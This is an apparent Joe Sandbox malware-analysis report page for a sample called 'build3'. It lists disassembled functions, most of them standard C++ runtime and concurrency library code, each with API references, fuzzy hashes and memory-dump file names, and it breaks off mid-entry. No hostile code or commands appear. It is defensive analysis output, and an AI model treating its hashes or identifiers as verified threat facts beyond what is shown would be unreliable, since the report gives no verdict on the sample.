Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: Context$Base::Concurrency::details::$Internal$Event$AssignBlockingConcurrency::location::_FindNestingPrepareReleaseSchedulerThrowTraceWork
String ID:
API String ID: 1794448563-0
Opcode ID: 99378d1ff28520b5af372f18f991dbaa658df5b2b649c7454109d56229c434c5
Instruction ID: b963ea9681b54eaf3435cb7f3bf368bd45bfe3b74b9947332192959a93083cbf
Opcode Fuzzy Hash: 99378d1ff28520b5af372f18f991dbaa658df5b2b649c7454109d56229c434c5
Instruction Fuzzy Hash: EA41E771A00310AFCF199B24D895BBDBB66EF45710F144099E84697386CBB0AD45CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 00D3EDD6 Relevance: 7.6, APIs: 5, Instructions: 101COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00D3EDDD
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 00D3EE07

Part of subcall function 00D3F4CD: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 00D3F4EA

__alloca_probe_16.LIBCMT ref: 00D3EE43
Concurrency::details::EventWaitNode::Satisfy.LIBCONCRT ref: 00D3EE84
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 00D3EEB6

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Lock::_Scoped_lock$Acquire_lockConcurrency::critical_section::_Concurrency::details::EventH_prolog3_Node::ReaderReentrantSatisfyScoped_lock::_Scoped_lock::~_WaitWriter__alloca_probe_16
String ID:
API String ID: 2568206803-0
Opcode ID: b0de67c280ade5c016962b24757b84e8a4f6b781f6662858d18c13ba06e39da6
Instruction ID: 0cb336fafe75a0f794e10344cea592cc35eab91a0ffb7b16bcaa880e99f6143c
Opcode Fuzzy Hash: b0de67c280ade5c016962b24757b84e8a4f6b781f6662858d18c13ba06e39da6
Instruction Fuzzy Hash: E8315CB2A002168BDF15DFA8C9415AEB7B5EF49310F28406AE845F73D1DB349E06CBB5

Uniqueness

Uniqueness Score: -1.00%

Function 00D487BC Relevance: 7.6, APIs: 5, Instructions: 88COMMON

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 00D487E1

Part of subcall function 00D3EBC0: _SpinWait.LIBCONCRT ref: 00D3EBD8

Concurrency::details::ContextBase::ClearAliasTable.LIBCONCRT ref: 00D487F5
Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00D48827
List.LIBCMT ref: 00D488AA
List.LIBCMT ref: 00D488B9

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: ListSpinWait$AcquireAliasBase::ClearConcurrency::details::Concurrency::details::_ContextLock::_ReaderTableWriteWriter
String ID:
API String ID: 3281396844-0
Opcode ID: dd6feb9cc0ab024e37552e44c3ba45528da4a9e38794418be5451e3da3498c34
Instruction ID: 9d6f8fb9cb36032379b7afaebac523c9b61072860e13586ec65e10015812af7b
Opcode Fuzzy Hash: dd6feb9cc0ab024e37552e44c3ba45528da4a9e38794418be5451e3da3498c34
Instruction Fuzzy Hash: 2D313572D01659DBCB14EFA4D5916EDBBB0BF04388F58406AD84177282DB31AD04EBB0

Uniqueness

Uniqueness Score: -1.00%

Function 00D5EF8B Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00D5EFA3

Part of subcall function 00D5A7F5: HeapFree.KERNEL32(00000000,00000000,?,00D5F01E,?,00000000,?,?,?,00D5F045,?,00000007,?,?,00D5F447,?), ref: 00D5A80B
Part of subcall function 00D5A7F5: GetLastError.KERNEL32(?,?,00D5F01E,?,00000000,?,?,?,00D5F045,?,00000007,?,?,00D5F447,?,?), ref: 00D5A81D

_free.LIBCMT ref: 00D5EFB5
_free.LIBCMT ref: 00D5EFC7
_free.LIBCMT ref: 00D5EFD9
_free.LIBCMT ref: 00D5EFEB

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 0611abb6b036b97bcb168652bdf929d16ff46abc26ea692342756c82d3276c5f
Instruction ID: 90ca71cec38784d5948d63b5d0b5aaa37714775cc27989eece643aae0876072d
Opcode Fuzzy Hash: 0611abb6b036b97bcb168652bdf929d16ff46abc26ea692342756c82d3276c5f
Instruction Fuzzy Hash: 36F0FF32518320AB8E28EB5DE9C6C2A77F9EE447117680805FC08D7641DF34FD848BB0

Uniqueness

Uniqueness Score: -1.00%

Function 00D4AF58 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

List.LIBCONCRT ref: 00D4AFDD
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00D4B002
Concurrency::details::FreeVirtualProcessorRoot::FreeVirtualProcessorRoot.LIBCONCRT ref: 00D4B041

Strings

pExecutionResource, xrefs: 00D4AFFA

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: FreeProcessorVirtual$Concurrency::details::ListRootRoot::std::invalid_argument::invalid_argument
String ID: pExecutionResource
API String ID: 1772865662-359481074
Opcode ID: ef6b88ea2730dd4b8df9a9c867f0eee910f2ae4cd6f2ee709e64db153813dd09
Instruction ID: 2f5e59e7db4117c114383026a0a3df2734208b5e0b7123bff6c1dd306f6f0923
Opcode Fuzzy Hash: ef6b88ea2730dd4b8df9a9c867f0eee910f2ae4cd6f2ee709e64db153813dd09
Instruction Fuzzy Hash: B221EC75A412059FCB08EF58C982BADB7B5FF58300F104029F905AB382DBB4AE05CBB5

Uniqueness

Uniqueness Score: -1.00%

Function 00D4A1E1 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35threadCOMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::GetCurrentThreadExecutionResource.LIBCMT ref: 00D4A1F5
Concurrency::details::ResourceManager::RemoveExecutionResource.LIBCONCRT ref: 00D4A219
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00D4A22C

Strings

pScheduler, xrefs: 00D4A224

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: Resource$Concurrency::details::Execution$CurrentManager::Proxy::RemoveSchedulerThreadstd::invalid_argument::invalid_argument
String ID: pScheduler
API String ID: 246774199-923244539
Opcode ID: a9d1bf3a77dfdd33313b8b9f07b2f519c8f32143f574044063701e0462eb2e66
Instruction ID: d20eaf064539aa85e98f953b794df3d827ef3c51e25ac4e31c727c3c430208d5
Opcode Fuzzy Hash: a9d1bf3a77dfdd33313b8b9f07b2f519c8f32143f574044063701e0462eb2e66
Instruction Fuzzy Hash: 4AF02E3A5412046BCB20F658E882C5EF379DF91B20754916AF50667181EBB1EE0AC7F6

Uniqueness

Uniqueness Score: -1.00%

Function 00D26D40 Relevance: 6.4, APIs: 4, Instructions: 388libraryloaderCOMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(0000011C,7D7AE1DE), ref: 00D26DBA
GetModuleHandleA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00D26E1B
GetProcAddress.KERNEL32(00000000), ref: 00D26E22
GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00D26EE7

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: AddressHandleInfoModuleProcSystemVersion
String ID:
API String ID: 1456109104-0
Opcode ID: 753699476e54535840f12ef3bb56c489ad57caf74900c1ff0896b11baa02eb39
Instruction ID: 85423f35acae86e971e914a80e1c9f751f84cd33adce769ceb2433f967582d25
Opcode Fuzzy Hash: 753699476e54535840f12ef3bb56c489ad57caf74900c1ff0896b11baa02eb39
Instruction Fuzzy Hash: A6D1F870E04624DBDB24BB68EC467AD7B61EB52324F5442C8F415A73C2DB754E848BF2

Uniqueness

Uniqueness Score: -1.00%

Function 00D5CA41 Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00D5CAC8

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: c52e5e0c72fadff6e7b5a2cde62430417af89455091c645d67e4f798d900d942
Instruction ID: 26da101d27a80486915b44ba4fa381c4b12acd375298d45cde8e87bd7b365aba
Opcode Fuzzy Hash: c52e5e0c72fadff6e7b5a2cde62430417af89455091c645d67e4f798d900d942
Instruction Fuzzy Hash: 06B1EF329203459FDF15CF28C8817BEBBE5EF55342F28916AEC59EB241D6348949CBB0

Uniqueness

Uniqueness Score: -1.00%

Function 00D5513E Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00D55205
___AdjustPointer.LIBCMT ref: 00D55228
___AdjustPointer.LIBCMT ref: 00D552C4

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 33e8f7ce3c6ecb8589cdcf2f5960d2f80856961c3d55ef8a4bcba389a68ec4e7
Instruction ID: 1a4673108ee5a7ee7febd96319a2677f9431b586df27d8b5b3b8520084c30c4b
Opcode Fuzzy Hash: 33e8f7ce3c6ecb8589cdcf2f5960d2f80856961c3d55ef8a4bcba389a68ec4e7
Instruction Fuzzy Hash: 1151F671601B02DFEF2A8F54E861B6A77A4EF00712F18852DEC454B299EB31EC48C7B4

Uniqueness

Uniqueness Score: -1.00%

Function 00D54D05 Relevance: 6.1, APIs: 4, Instructions: 141COMMON

Download Yara Rule

APIs

TypeidsEqual.LIBVCRUNTIME ref: 00D54D56
TypeidsEqual.LIBVCRUNTIME ref: 00D54D7B
PMDtoOffset.LIBCMT ref: 00D54D91
PMDtoOffset.LIBCMT ref: 00D54E12

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: EqualOffsetTypeids
String ID:
API String ID: 1707706676-0
Opcode ID: f8ad74cfaf4da85e0defff2bffeebfbe5beaccf25cb2e0bdfe85511ce37fdb4b
Instruction ID: e79650094b10f4eead484c185572345cb1055a41c7c17919e4360038723643ee
Opcode Fuzzy Hash: f8ad74cfaf4da85e0defff2bffeebfbe5beaccf25cb2e0bdfe85511ce37fdb4b
Instruction Fuzzy Hash: E7519D359042099FCF11CF68D4826EEBBF4FF5532AF18445AEC60A7251D732AD89CB62

Uniqueness

Uniqueness Score: -1.00%

Function 00D22F80 Relevance: 6.1, APIs: 4, Instructions: 132threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00D2301F
GetCurrentThreadId.KERNEL32 ref: 00D2303E
__Mtx_unlock.LIBCPMT ref: 00D2308C
__Cnd_broadcast.LIBCPMT ref: 00D230A3

Part of subcall function 00D3C79C: mtx_do_lock.LIBCPMT ref: 00D3C7A4

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcastCurrentThreadmtx_do_lock
String ID:
API String ID: 3471820992-0
Opcode ID: 12a81b7b8bf751dd15c4c90ad3ca324377c4971480807f4c45903c9f84ad3948
Instruction ID: 2f3ed52474a9dc0b9086fe530032a3ac1d233d5288aec952ba93fe2e3b5f934f
Opcode Fuzzy Hash: 12a81b7b8bf751dd15c4c90ad3ca324377c4971480807f4c45903c9f84ad3948
Instruction Fuzzy Hash: E54114B1A002159FCB20DF64DA44B5AB7E8FF24318F048529E916D7780EB39EA04CBF1

Uniqueness

Uniqueness Score: -1.00%

Function 00D65F1E Relevance: 6.1, APIs: 4, Instructions: 132fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00D65FEE
_free.LIBCMT ref: 00D66017
SetEndOfFile.KERNEL32(00000000,00D6195A,00000000,00D61BF1,?,?,?,?,?,?,?,00D6195A,00D61BF1,00000000), ref: 00D66049
GetLastError.KERNEL32(?,?,?,?,?,?,?,00D6195A,00D61BF1,00000000,?,?,?,?,00000000), ref: 00D66065

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: _free$ErrorFileLast
String ID:
API String ID: 1547350101-0
Opcode ID: ff38870a518d779abc077820636477cb775ec519a06231f97fa8aaa7e62898fc
Instruction ID: 6f37e2ad749a8aab8a29121255bac3290d4db6ca79dcc013728418ca3eb750ff
Opcode Fuzzy Hash: ff38870a518d779abc077820636477cb775ec519a06231f97fa8aaa7e62898fc
Instruction Fuzzy Hash: 9841C732900605ABDF21ABB8DC46B9E7BB9EF44321F280110FD18E7296FB34C9844771

Uniqueness

Uniqueness Score: -1.00%

Function 00D42DED Relevance: 6.1, APIs: 4, Instructions: 101COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 00D42E00

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: BuffersConcurrency::details::InitializeManager::Resource
String ID:
API String ID: 3433162309-0
Opcode ID: 264b02573f2ee1eee9ec59cb20b3592c4122fb688ac22070d2625492cae5bcc1
Instruction ID: b997ba15f3d8f67bb7f94fd8f227196c3db31682165c3b09987dbc248eb81ef5
Opcode Fuzzy Hash: 264b02573f2ee1eee9ec59cb20b3592c4122fb688ac22070d2625492cae5bcc1
Instruction Fuzzy Hash: 08312675A00309EFCF10DF94C880AAEBBB9EF44310F5400AAED45AB346DB70A945DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00D45320 Relevance: 6.1, APIs: 4, Instructions: 89COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::~SchedulingNode.LIBCONCRT ref: 00D4533A

Part of subcall function 00D4D221: ~ListArray.LIBCONCRT ref: 00D4D228

Concurrency::details::_NonReentrantLock::_Acquire.LIBCONCRT ref: 00D477B8
Concurrency::details::_UnregisterConcRTEventTracing.LIBCONCRT ref: 00D477CA
InterlockedPopEntrySList.KERNEL32(00D85BA8,00000004,00D68880,000000FF), ref: 00D477E0

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_ListScheduling$AcquireArrayConcConcurrency::details::EntryEventInterlockedLock::_NodeNode::~ReentrantTracingUnregister
String ID:
API String ID: 4269984316-0
Opcode ID: 6b911cb47d0810e9b80ca289bf216f17d1154edb345ce13179ee2a5a97e7303c
Instruction ID: 9dd423977426c6da79909461e3b725f93d876030fb33e89c250af82491adf309
Opcode Fuzzy Hash: 6b911cb47d0810e9b80ca289bf216f17d1154edb345ce13179ee2a5a97e7303c
Instruction Fuzzy Hash: A221B132604A16ABDB14AF74E886B2DB3A5FF14750F544128F505A7793CF71EC518BB0

Uniqueness

Uniqueness Score: -1.00%

Function 00D5D8A0 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 00D56A89: _free.LIBCMT ref: 00D56A97

Part of subcall function 00D5E877: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,?,00000000,00000000,00000000,?,00D64D10,?,00000000,00000000), ref: 00D5E919

GetLastError.KERNEL32 ref: 00D5D908
__dosmaperr.LIBCMT ref: 00D5D90F
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 00D5D94E
__dosmaperr.LIBCMT ref: 00D5D955

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: 59003060135aa8ed5f5493206dfe01840f347d8d5dcdf33a84bea7c85a4717df
Instruction ID: 6bbaadbc76d24537a7db3b52604d7707ff7f129e27107e26b3d972e47039933a
Opcode Fuzzy Hash: 59003060135aa8ed5f5493206dfe01840f347d8d5dcdf33a84bea7c85a4717df
Instruction Fuzzy Hash: 7E21F171600605AFDF30AF659C8192BBBAEEF113667208518FC2997140EB31ED48CFB0

Uniqueness

Uniqueness Score: -1.00%

Function 00D50B8B Relevance: 6.1, APIs: 4, Instructions: 80threadCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(?,00000000,?), ref: 00D50BDC
Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00D50BC4

Part of subcall function 00D49022: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00D49043

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00D50C3F
SwitchToThread.KERNEL32(00000005,00000004,00000000,?,?,?,?,?,?,?,00D7F9A8), ref: 00D50C44

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: Context$Event$Base::Concurrency::details::$Trace$SwitchThreadThrow
String ID:
API String ID: 2734100425-0
